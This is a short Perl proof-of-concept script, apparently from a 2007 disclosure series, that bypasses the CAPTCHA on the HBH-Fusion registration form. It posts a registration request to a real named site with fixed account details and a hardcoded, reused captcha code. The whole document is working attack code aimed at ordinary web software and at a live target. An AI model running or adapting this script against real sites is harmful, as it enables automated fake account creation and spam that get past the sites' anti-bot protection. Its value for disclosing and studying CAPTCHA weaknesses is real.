#!/usr/bin/perl
# MoBiC-19: HBH-Fusion CAPTCHA bypass
# Made by MustLive
# http://websecurity.com.ua
# 17.10.2007
use LWP::UserAgent;

my $agent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.7) Gecko/20050414";
my $url = "http://www.hellboundhackers.org/register.php";

&BypassCaptcha;
exit;

sub BypassCaptcha() {
	my $ua = LWP::UserAgent->new;
	$ua->agent($agent);
	my %fields = (
	'username' => 'testtest',
	'password1' => '1234567',
	'password2' => '1234567',
	'email' => 'testtest@test.com',
	'hide_email' => '1',
	'user_code' => '87091',
	'register' => 'Register'
	);
	my $res = $ua->post($url,[%fields],referer => $url);

	print "Content-type:text/html\n\n";
	if ($res->is_success) {
		print $res->content;
	}
	else {
		print "Error: " . $res->status_line;
	}
}